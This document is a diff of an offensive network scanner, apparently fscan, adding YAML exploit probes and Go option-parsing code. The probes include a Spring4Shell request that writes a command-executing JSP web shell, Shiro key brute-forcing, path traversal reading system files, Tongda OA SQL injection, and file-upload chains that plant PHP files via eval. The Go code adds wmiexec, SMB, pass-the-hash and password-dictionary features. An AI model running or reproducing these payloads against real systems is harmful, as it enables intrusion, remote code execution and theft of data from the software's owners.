+    - "HeUZ/LvgkO7nsa18ZyVxWQ=="
+    - "HoTP07fJPKIRLOWoVXmv+Q=="
+    - "iycgIIyCatQofd0XXxbzEg=="
+    - "m0/5ZZ9L4jjQXn7MREr/bw=="
+    - "NoIw91X9GSiCrLCF03ZGZw=="
+    - "oPH+bIxk5E2enZiIxcqaaA=="
+    - "QAk0rp8sG0uJC4Ke2baYNA=="
+    - "Rb5RN+LofDWJlzWAwsXzxg=="
+    - "s2SE9y32PvLeYo+VGFpcKA=="
+    - "SrpFBcVD89eTQ2icOD0TMg=="
+    - "U0hGX2d1bnMAAAAAAAAAAA=="
+    - "Us0KvVhTeasAm43KFLAeng=="
+    - "Ymx1ZXdoYWxlAAAAAAAAAA=="
+    - "YWJjZGRjYmFhYmNkZGNiYQ=="
+    - "zIiHplamyXlVB11UXWol8g=="
+    - "ZjQyMTJiNTJhZGZmYjFjMQ=="
+  mode:
+    - "cbc"
+    - "gcm"
+  payload:
+    - shirokey(key,mode)
+rules:
+  - method: GET
+    path: /
+    follow_redirects: false
+    headers:
+      Cookie: JSESSIONID={{randstr}};rememberMe=login
+    expression: |
+      "Set-Cookie" in response.headers && (response.headers["Set-Cookie"].contains("rememberMe=") || response.headers["Set-Cookie"].contains("=deleteMe"))
+  - method: GET
+    path: /
+    headers:
+      Cookie: JSESSIONID={{randstr}};rememberMe={{payload}}
+    follow_redirects: false
+    expression: |
+      !response.headers["Set-Cookie"].contains("rememberMe=")
+detail:
+  author: shadown1ng(https://github.com/shadown1ng)

WebScan/pocs/spring-core-rce.yml

@@ -0,0 +1,27 @@
+name: poc-yaml-spring-core-rce
+manual: true
+transport: http
+set:
+    r1: randomInt(40000, 44800)
+rules:
+  - method: POST
+    path: /
+    headers:
+        suffix: "%>//"
+        c1: "Runtime"
+        c2: "<%"
+        DNT: "1"
+        Content-Type: "application/x-www-form-urlencoded"
+    body: "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22data%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22word%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
+    follow_redirects: true
+    expression: |
+        response.status == 200 
+  - method: GET
+    path: /tomcatwar.jsp?data=j&word=echo%20{r1}
+    follow_redirects: false
+    expression: |
+        response.status == 200 && response.body.bcontains(bytes(string(r1)))
+detail:
+    author: marmot
+    links:
+        - https://github.com/Mr-xn/spring-core-rce

WebScan/pocs/springboot-cve-2021-21234.yml

@@ -0,0 +1,22 @@
+name: poc-yaml-springboot-cve-2021-21234
+groups:
+  spring1:
+    - method: GET
+      path: /manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
+      expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts")
+  spring2:
+    - method: GET
+      path: /log/view?filename=/windows/win.ini&base=../../../../../../../../../../
+      expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") && response.body.bcontains(b"fonts")
+  spring3:
+    - method: GET
+      path: /manage/log/view?filename=/etc/hosts&base=../../../../../../../../../../
+      expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost")
+  spring4:
+    - method: GET
+      path: /log/view?filename=/etc/hosts&base=../../../../../../../../../../
+      expression: response.status == 200 && response.body.bcontains(b"127.0.0.1") && response.body.bcontains(b"localhost")
+detail:
+  author: iak3ec(https://github.com/nu0l)
+  links:
+    - https://mp.weixin.qq.com/s/ZwhBEz2ek26Zf3F-csoRgQ

WebScan/pocs/sql-file.yml

@@ -0,0 +1,32 @@
+name: poc-yaml-sql-file
+set:
+  host: request.url.domain
+sets:
+  path:
+    - "1.sql"
+    - "backup.sql"
+    - "database.sql"
+    - "data.sql"
+    - "db_backup.sql"
+    - "dbdump.sql"
+    - "db.sql"
+    - "dump.sql"
+    - "{{host}}.sql"
+    - "{{host}}_db.sql"
+    - "localhost.sql"
+    - "mysqldump.sql"
+    - "mysql.sql"
+    - "site.sql"
+    - "sql.sql"
+    - "temp.sql"
+    - "translate.sql"
+    - "users.sql"
+rules:
+  - method: GET
+    path: /{{path}}
+    follow_redirects: false
+    continue: true
+    expression: |
+      "(?m)(?:DROP|CREATE|(?:UN)?LOCK) TABLE|INSERT INTO".bmatches(response.body)
+detail:
+  author: shadown1ng(https://github.com/shadown1ng)

WebScan/pocs/swagger-ui-unauth.yml

@@ -1,6 +1,7 @@
 name: poc-yaml-swagger-ui-unauth
 sets:
   path:
+    - swagger/ui/index
     - swagger-ui.html
     - api/swagger-ui.html
     - service/swagger-ui.html
@@ -9,11 +10,20 @@ sets:
     - actuator/swagger-ui.html
     - libs/swagger-ui.html
     - template/swagger-ui.html
+    - api_docs
+    - api/docs/
+    - api/index.html
+    - swagger/v1/swagger.yaml
+    - swagger/v1/swagger.json
+    - swagger.yaml
+    - swagger.json
+    - api-docs/swagger.yaml
+    - api-docs/swagger.json
 rules:
   - method: GET
     path: /{{path}}
     expression: |
-      response.status == 200 && response.body.bcontains(b"Swagger UI") && response.body.bcontains(b"swagger-ui.min.js")
+      response.status == 200 && (response.body.bcontains(b"Swagger UI") || response.body.bcontains(b"swagger-ui.min.js")|| response.body.bcontains(b'swagger:') || response.body.bcontains(b'swagger:') || response.body.bcontains(b'Swagger 2.0') ||  response.body.bcontains(b"\"swagger\":") )
 detail:
   author: AgeloVito
   links:

WebScan/pocs/thinkphp5023-method-rce.yml

@@ -1,6 +1,4 @@
 name: poc-yaml-thinkphp5023-method-rce
-set:
-  rand: randomLowercase(10)
 groups:
   poc1:
   - method: POST
@@ -8,9 +6,9 @@ groups:
     headers:
       Content-Type: application/x-www-form-urlencoded
     body: |
-      _method=__construct&filter[]=var_dump&method=GET&get[]={{rand}}
+      _method=__construct&filter[]=printf&method=GET&get[]=TmlnaHQgZ2F0aGVycywgYW5%25%25kIG5vdyBteSB3YXRjaCBiZWdpbnMu
     expression: |
-      response.body.bcontains(bytes(rand))
+      response.body.bcontains(b"TmlnaHQgZ2F0aGVycywgYW5%kIG5vdyBteSB3YXRjaCBiZWdpbnMu")
   poc2:
   - method: POST
     path: /index.php?s=captcha

WebScan/pocs/tomcat-manager-weak.yml

@@ -6,9 +6,9 @@ sets:
     - root
     - manager
   password:
+    - tomcat
     - ""
     - admin
-    - tomcat
     - 123456
     - root
   payload:

WebScan/pocs/tongda-insert-sql-inject.yml

@@ -0,0 +1,21 @@
+name: tongda-insert-sql-inject
+rules:
+  - method: POST
+    path: /general/document/index.php/recv/register/insert
+    body: |
+      title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER=
+    expression: response.status == 302 && response.headers["set-cookie"].contains("PHPSESSID=")
+  - method: POST
+    path: /general/document/index.php/recv/register/insert
+    body: |
+      title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER=
+    expression: response.status != 502 && response.status != 500
+detail:
+  author: zan8in
+  description: |
+    通达OA v11.6 insert参数包含SQL注入漏洞，攻击者通过漏洞可获取数据库敏感信息
+    app="TDXK-通达OA"
+    发送请求包判断漏洞 /general/document/index.php/recv/register/insert 返回302则是存在漏洞，返回500则不存在
+  links:
+    - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.6%20insert%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
+    - https://blog.csdn.net/weixin_39779975/article/details/111091529

WebScan/pocs/tongda-meeting-unauthorized-access.yml

@@ -3,9 +3,6 @@ rules:
   - method: GET
     path: >-
       /general/calendar/arrange/get_cal_list.php?starttime=1548058874&endtime=33165447106&view=agendaDay
-    headers:
-      User-Agent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36'
-      Accept-Encoding: 'deflate'
     follow_redirects: false
     expression: |
       response.status == 200 && response.content_type.contains("json") && response.body.bcontains(bytes(string("creator"))) && response.body.bcontains(bytes(string("originalTitle")))

WebScan/pocs/tongda-oa-v11.9-api.ali.php-upload.yml

@@ -0,0 +1,41 @@
+name: poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload
+set:
+  filename: randomLowercase(8)
+  r1: randomLowercase(8)
+  payload: base64("file_put_contents('../../"+filename+".php','<?php echo(md5("+r1+"));?>');")
+  rboundary: md5(randomLowercase(8))
+  date: TDdate()
+rules:
+  - method: POST
+    path: /mobile/api/api.ali.php
+    headers:
+      Content-Type: multipart/form-data; boundary={{rboundary}}
+      Accept-Encoding: gzip
+    follow_redirects: false
+    body: "\
+      --{{rboundary}}\r\n\
+      Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.json\"\r\n\
+      Content-Type: application/octet-stream\r\n\
+      \r\n\
+      {\"modular\":\"AllVariable\",\"a\":\"{{payload}}\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n\
+      --{{rboundary}}--\r\n\
+      "
+    expression: |
+      response.status == 200
+
+  - method: GET
+    path: /inc/package/work.php?id=../../../../../myoa/attach/approve_center/{{date}}/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.{{filename}}
+    expression: |
+      response.status == 200 && response.body.bcontains(b'OK')
+
+  - method: GET
+    path: /{{filename}}.php
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(md5(r1)))
+
+detail:
+  author: PeiQi0
+  influence_version: "<= 通达OA 11.9"
+  links:
+    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.8%20api.ali.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md
+  tags: tongda,fileupload

WebScan/pocs/tongda-user-session-disclosure.yml

@@ -1,17 +1,13 @@
-name: poc-yaml-tongda-user-session-disclosure
+name: tongda-user-session-disclosure
 rules:
   - method: GET
-    path: /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
-    follow_redirects: false
-    expression: "true"
-
-  - method: POST
-    path: /general/userinfo.php?UID=1
-    follow_redirects: false
-    expression: |
-      response.status == 200 && response.body.bcontains(b"\"dept_name\":\"") && response.body.bcontains(b"\"online_flag\":") && response.headers["Content-Type"].contains("application/json")
-
+    path: /mobile/auth_mobi.php?isAvatar=1&uid=11121212121212&P_VER=0
+    expression: response.body.bcontains(b'RELOGIN') && response.status == 200
 detail:
-  author: kzaopa(https://github.com/kzaopa)
-  links:
-    - https://mp.weixin.qq.com/s/llyGEBRo0t-C7xOLMDYfFQ
+    author: kzaopa(https://github.com/kzaopa)
+    description: |
+        通达OA v11.7 中存在某接口查询在线用户，当用户在线时会返回 PHPSESSION使其可登录后台系统
+    links:
+        - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.7%20auth_mobi.php%20%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E.html
+        - https://www.cnblogs.com/T0uch/p/14475551.html
+        - https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/

WebScan/pocs/tongda-v2017-uploadfile.yml

@@ -0,0 +1,50 @@
+name: tongda-v2017-uploadfile
+set:
+  rand1: randomLowercase(12)
+  fileContent: randomLowercase(12)
+rules:
+  - method: POST
+    path: /module/ueditor/php/action_upload.php?action=uploadfile
+    headers:
+      Content-Type: multipart/form-data; boundary=55719851240137822763221368724
+    body: |
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="CONFIG[fileFieldName]"
+
+      ffff
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="CONFIG[fileMaxSize]"
+
+      1000000000
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="CONFIG[filePathFormat]"
+
+      tcmd
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]"
+
+      .txt
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="ffff"; filename="{{rand1}}.txt"
+      Content-Type: application/octet-stream
+
+      {{fileContent}}
+      -----------------------------55719851240137822763221368724
+      Content-Disposition: form-data; name="mufile"
+
+      submit
+      -----------------------------55719851240137822763221368724--
+    expression: |
+      response.status == 200
+  - method: GET
+    path: /{{rand1}}.txt
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(fileContent))
+detail:
+  author: zan8in
+  description: |
+    通达OA v2017 action_upload.php 任意文件上传漏洞
+    通达OA v2017 action_upload.php 文件过滤不足且无需后台权限，导致任意文件上传漏洞
+    app="TDXK-通达OA"
+  links:
+    - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v2017%20action_upload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html

WebScan/pocs/weaver-E-Cology-getSqlData-sqli.yml

@@ -0,0 +1,13 @@
+name: poc-yaml-weaver-E-Cology-getSqlData-sqli
+rules:
+  - method: GET
+    path: /Api/portal/elementEcodeAddon/getSqlData?sql=select%20@@version
+    follow_redirects: false
+    expression: |
+      response.status == 200 && response.body.bcontains(b'Microsoft SQL Server')
+
+detail:
+  author: PeiQi0
+  links:
+    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20getSqlData%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
+  tags: weaver,sqli

WebScan/pocs/weaver-oa-eoffice-v9-upload-getshell.yml

@@ -0,0 +1,25 @@
+name: poc-yaml-weaver-oa-eoffice-v9-upload-getshell
+manual: true
+transport: http
+set:
+    r1: randomLowercase(8)
+rules:
+  - method: POST
+    path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
+    headers:
+        Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4
+    body: |-
+        --e64bdf16c554bbc109cecef6451c26a4
+        Content-Disposition: form-data; name="Filedata"; filename="test.php"
+        Content-Type: image/jpeg
+        {{r1}}
+        --e64bdf16c554bbc109cecef6451c26a4--
+    expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php")
+  - method: GET
+    path: /images/logo/logo-eoffice.php
+    follow_redirects: true
+    expression: response.status == 200 && response.body.bcontains(bytes(r1))
+detail:
+    author: szd790056181
+    links:
+        - http://www.ctfiot.com/13682.html

common/Parse.go

@@ -2,29 +2,29 @@ package common
 
 import (
 	"bufio"
+	"encoding/hex"
 	"flag"
 	"fmt"
+	"net/url"
 	"os"
-	"os/exec"
-	"path/filepath"
 	"strconv"
 	"strings"
 )
 
 func Parse(Info *HostInfo) {
-	ParseUser(Info)
+	ParseUser()
 	ParsePass(Info)
 	ParseInput(Info)
 	ParseScantype(Info)
 }
 
-func ParseUser(Info *HostInfo) {
-	if Info.Username == "" && Userfile == "" {
+func ParseUser() {
+	if Username == "" && Userfile == "" {
 		return
 	}
-
-	if Info.Username != "" {
-		Info.Usernames = strings.Split(Info.Username, ",")
+	var Usernames []string
+	if Username != "" {
+		Usernames = strings.Split(Username, ",")
 	}
 
 	if Userfile != "" {
@@ -32,37 +32,50 @@ func ParseUser(Info *HostInfo) {
 		if err == nil {
 			for _, user := range users {
 				if user != "" {
-					Info.Usernames = append(Info.Usernames, user)
+					Usernames = append(Usernames, user)
 				}
 			}
 		}
 	}
 
-	Info.Usernames = RemoveDuplicate(Info.Usernames)
+	Usernames = RemoveDuplicate(Usernames)
 	for name := range Userdict {
-		Userdict[name] = Info.Usernames
+		Userdict[name] = Usernames
 	}
 }
 
 func ParsePass(Info *HostInfo) {
-	if Info.Password != "" {
-		passs := strings.Split(Info.Password, ",")
+	var PwdList []string
+	if Password != "" {
+		passs := strings.Split(Password, ",")
 		for _, pass := range passs {
 			if pass != "" {
-				Info.Passwords = append(Info.Passwords, pass)
+				PwdList = append(PwdList, pass)
 			}
 		}
-		Passwords = Info.Passwords
+		Passwords = PwdList
 	}
 	if Passfile != "" {
 		passs, err := Readfile(Passfile)
 		if err == nil {
 			for _, pass := range passs {
 				if pass != "" {
-					Info.Passwords = append(Info.Passwords, pass)
+					PwdList = append(PwdList, pass)
+				}
+			}
+			Passwords = PwdList
+		}
+	}
+	if URL != "" {
+		urls := strings.Split(URL, ",")
+		TmpUrls := make(map[string]struct{})
+		for _, url := range urls {
+			if _, ok := TmpUrls[url]; !ok {
+				TmpUrls[url] = struct{}{}
+				if url != "" {
+					Urls = append(Urls, url)
 				}
 			}
-			Passwords = Info.Passwords
 		}
 	}
 	if UrlFile != "" {
@@ -88,7 +101,7 @@ func ParsePass(Info *HostInfo) {
 					newport += port + ","
 				}
 			}
-			Info.Ports = newport
+			Ports = newport
 		}
 	}
 }
@@ -122,31 +135,26 @@ func ParseInput(Info *HostInfo) {
 	if BruteThread <= 0 {
 		BruteThread = 1
 	}
-	if TmpOutputfile != "" {
-		if !strings.Contains(Outputfile, "/") && !strings.Contains(Outputfile, `\`) {
-			Outputfile = getpath() + TmpOutputfile
-		} else {
-			Outputfile = TmpOutputfile
-		}
-	}
+
 	if TmpSave == true {
 		IsSave = false
 	}
-	if Info.Ports == DefaultPorts {
-		Info.Ports += "," + Webport
+
+	if Ports == DefaultPorts {
+		Ports += "," + Webport
 	}
 
 	if PortAdd != "" {
-		if strings.HasSuffix(Info.Ports, ",") {
-			Info.Ports += PortAdd
+		if strings.HasSuffix(Ports, ",") {
+			Ports += PortAdd
 		} else {
-			Info.Ports += "," + PortAdd
+			Ports += "," + PortAdd
 		}
 	}
 
 	if UserAdd != "" {
 		user := strings.Split(UserAdd, ",")
-		for a, _ := range Userdict {
+		for a := range Userdict {
 			Userdict[a] = append(Userdict[a], user...)
 			Userdict[a] = RemoveDuplicate(Userdict[a])
 		}
@@ -157,34 +165,89 @@ func ParseInput(Info *HostInfo) {
 		Passwords = append(Passwords, pass...)
 		Passwords = RemoveDuplicate(Passwords)
 	}
+	if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") {
+		if !strings.Contains(Socks5Proxy, ":") {
+			Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy
+		} else {
+			Socks5Proxy = "socks5://" + Socks5Proxy
+		}
+	}
+	if Socks5Proxy != "" {
+		fmt.Println("Socks5Proxy:", Socks5Proxy)
+		_, err := url.Parse(Socks5Proxy)
+		if err != nil {
+			fmt.Println("Socks5Proxy parse error:", err)
+			os.Exit(0)
+		}
+		NoPing = true
+	}
+	if Proxy != "" {
+		if Proxy == "1" {
+			Proxy = "http://127.0.0.1:8080"
+		} else if Proxy == "2" {
+			Proxy = "socks5://127.0.0.1:1080"
+		} else if !strings.Contains(Proxy, "://") {
+			Proxy = "http://127.0.0.1:" + Proxy
+		}
+		fmt.Println("Proxy:", Proxy)
+		if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") {
+			fmt.Println("no support this proxy")
+			os.Exit(0)
+		}
+		_, err := url.Parse(Proxy)
+		if err != nil {
+			fmt.Println("Proxy parse error:", err)
+			os.Exit(0)
+		}
+	}
+
+	if Hash != "" && len(Hash) != 32 {
+		fmt.Println("[-] Hash is error,len(hash) must be 32")
+		os.Exit(0)
+	} else {
+		var err error
+		HashBytes, err = hex.DecodeString(Hash)
+		if err != nil {
+			fmt.Println("[-] Hash is error,hex decode error")
+			os.Exit(0)
+		}
+	}
 }
 
 func ParseScantype(Info *HostInfo) {
-	_, ok := PORTList[Info.Scantype]
+	_, ok := PORTList[Scantype]
 	if !ok {
 		showmode()
 	}
-	if Info.Scantype != "all" && Info.Ports == DefaultPorts+","+Webport {
-		switch Info.Scantype {
-		case "rdp":
-			Info.Ports = "3389"
+	if Scantype != "all" && Ports == DefaultPorts+","+Webport {
+		switch Scantype {
+		case "wmiexec":
+			Ports = "135"
+		case "wmiinfo":
+			Ports = "135"
+		case "smbinfo":
+			Ports = "445"
+		case "hostname":
+			Ports = "135,137,139,445"
+		case "smb2":
+			Ports = "445"
 		case "web":
-			Info.Ports = Webport
+			Ports = Webport
 		case "webonly":
-			Info.Ports = Webport
+			Ports = Webport
 		case "ms17010":
-			Info.Ports = "445"
+			Ports = "445"
 		case "cve20200796":
-			Info.Ports = "445"
+			Ports = "445"
 		case "portscan":
-			Info.Ports = DefaultPorts + "," + Webport
+			Ports = DefaultPorts + "," + Webport
 		case "main":
-			Info.Ports = DefaultPorts
+			Ports = DefaultPorts
 		default:
-			port, _ := PORTList[Info.Scantype]
-			Info.Ports = strconv.Itoa(port)
+			port, _ := PORTList[Scantype]
+			Ports = strconv.Itoa(port)
 		}
-		fmt.Println("-m ", Info.Scantype, " start scan the port:", Info.Ports)
+		fmt.Println("-m ", Scantype, " start scan the port:", Ports)
 	}
 }
 
@@ -200,23 +263,6 @@ func CheckErr(text string, err error, flag bool) {
 	}
 }
 
-func getpath() string {
-	file, _ := exec.LookPath(os.Args[0])
-	path1, _ := filepath.Abs(file)
-	filename := filepath.Dir(path1)
-	var path string
-	if strings.Contains(filename, "/") {
-		tmp := strings.Split(filename, `/`)
-		tmp[len(tmp)-1] = ``
-		path = strings.Join(tmp, `/`)
-	} else if strings.Contains(filename, `\`) {
-		tmp := strings.Split(filename, `\`)
-		tmp[len(tmp)-1] = ``
-		path = strings.Join(tmp, `\`)
-	}
-	return path
-}
-
 func showmode() {
 	fmt.Println("The specified scan type does not exist")
 	fmt.Println("-m")

common/ParseIP.go

@@ -13,8 +13,6 @@ import (
 	"strings"
 )
 
-var IsIPRange bool
-
 var ParseIPErr = errors.New(" host parsing error\n" +
 	"format: \n" +
 	"192.168.1.1\n" +
@@ -26,11 +24,21 @@ var ParseIPErr = errors.New(" host parsing error\n" +
 	"192.168.1.1-255")
 
 func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
-	hosts = ParseIPs(host)
-	if filename != "" {
-		var filehost []string
-		filehost, _ = Readipfile(filename)
-		hosts = append(hosts, filehost...)
+	if filename == "" && strings.Contains(host, ":") {
+		//192.168.0.0/16:80
+		hostport := strings.Split(host, ":")
+		if len(hostport) == 2 {
+			host = hostport[0]
+			hosts = ParseIPs(host)
+			Ports = hostport[1]
+		}
+	} else {
+		hosts = ParseIPs(host)
+		if filename != "" {
+			var filehost []string
+			filehost, _ = Readipfile(filename)
+			hosts = append(hosts, filehost...)
+		}
 	}
 
 	if len(nohosts) > 0 {
@@ -57,7 +65,7 @@ func ParseIP(host string, filename string, nohosts ...string) (hosts []string, e
 		}
 	}
 	hosts = RemoveDuplicate(hosts)
-	if len(hosts) == 0 && host != "" && filename != "" {
+	if len(hosts) == 0 && len(HostPort) == 0 && host != "" && filename != "" {
 		err = ParseIPErr
 	}
 	return
@@ -80,6 +88,12 @@ func ParseIPs(ip string) (hosts []string) {
 func parseIP(ip string) []string {
 	reg := regexp.MustCompile(`[a-zA-Z]+`)
 	switch {
+	case ip == "192":
+		return parseIP("192.168.0.0/8")
+	case ip == "172":
+		return parseIP("172.16.0.0/12")
+	case ip == "10":
+		return parseIP("10.0.0.0/8")
 	// 扫描/8时,只扫网关和随机IP,避免扫描过多IP
 	case strings.HasSuffix(ip, "/8"):
 		return parseIP8(ip)
@@ -116,8 +130,10 @@ func parseIP2(host string) (hosts []string) {
 	return
 }
 
-// 解析ip段: 192.168.111.1-255
-//          192.168.111.1-192.168.112.255
+// 解析ip段:
+//
+//	192.168.111.1-255
+//	192.168.111.1-192.168.112.255
 func parseIP1(ip string) []string {
 	IPRange := strings.Split(ip, "-")
 	testIP := net.ParseIP(IPRange[0])
@@ -188,10 +204,23 @@ func Readipfile(filename string) ([]string, error) {
 	scanner := bufio.NewScanner(file)
 	scanner.Split(bufio.ScanLines)
 	for scanner.Scan() {
-		text := strings.TrimSpace(scanner.Text())
-		if text != "" {
-			host := ParseIPs(text)
-			content = append(content, host...)
+		line := strings.TrimSpace(scanner.Text())
+		if line != "" {
+			text := strings.Split(line, ":")
+			if len(text) == 2 {
+				port := strings.Split(text[1], " ")[0]
+				num, err := strconv.Atoi(port)
+				if err != nil || (num < 1 || num > 65535) {
+					continue
+				}
+				hosts := ParseIPs(text[0])
+				for _, host := range hosts {
+					HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, port))
+				}
+			} else {
+				host := ParseIPs(line)
+				content = append(content, host...)
+			}
 		}
 	}
 	return content, nil

common/ParsePort.go

@@ -15,6 +15,11 @@ func ParsePort(ports string) (scanPorts []int) {
 		if port == "" {
 			continue
 		}
+		if PortGroup[port] != "" {
+			port = PortGroup[port]
+			scanPorts = append(scanPorts, ParsePort(port)...)
+			continue
+		}
 		upper := port
 		if strings.Contains(port, "-") {
 			ranges := strings.Split(port, "-")
@@ -35,6 +40,9 @@ func ParsePort(ports string) (scanPorts []int) {
 		start, _ := strconv.Atoi(port)
 		end, _ := strconv.Atoi(upper)
 		for i := start; i <= end; i++ {
+			if i > 65535 || i < 1 {
+				continue
+			}
 			scanPorts = append(scanPorts, i)
 		}
 	}

common/config.go

@@ -1,6 +1,6 @@
 package common
 
-var version = "1.7.1"
+var version = "1.8.3"
 var Userdict = map[string][]string{
 	"ftp":        {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
 	"mysql":      {"root", "mysql"},
@@ -32,79 +32,107 @@ var PORTList = map[string]int{
 	"ms17010":     1000001,
 	"cve20200796": 1000002,
 	"web":         1000003,
-	"webonly":     10000031,
+	"webonly":     1000003,
+	"webpoc":      1000003,
+	"smb2":        1000004,
+	"wmiexec":     1000005,
 	"all":         0,
 	"portscan":    0,
 	"icmp":        0,
 	"main":        0,
 }
-
-var Outputfile = getpath() + "result.txt"
+var PortGroup = map[string]string{
+	"ftp":         "21",
+	"ssh":         "22",
+	"findnet":     "135",
+	"netbios":     "139",
+	"smb":         "445",
+	"mssql":       "1433",
+	"oracle":      "1521",
+	"mysql":       "3306",
+	"rdp":         "3389",
+	"psql":        "5432",
+	"redis":       "6379",
+	"fcgi":        "9000",
+	"mem":         "11211",
+	"mgo":         "27017",
+	"ms17010":     "445",
+	"cve20200796": "445",
+	"service":     "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017",
+	"db":          "1433,1521,3306,5432,6379,11211,27017",
+	"web":         "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880",
+	"all":         "1-65535",
+	"main":        "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017",
+}
+var Outputfile = "result.txt"
 var IsSave = true
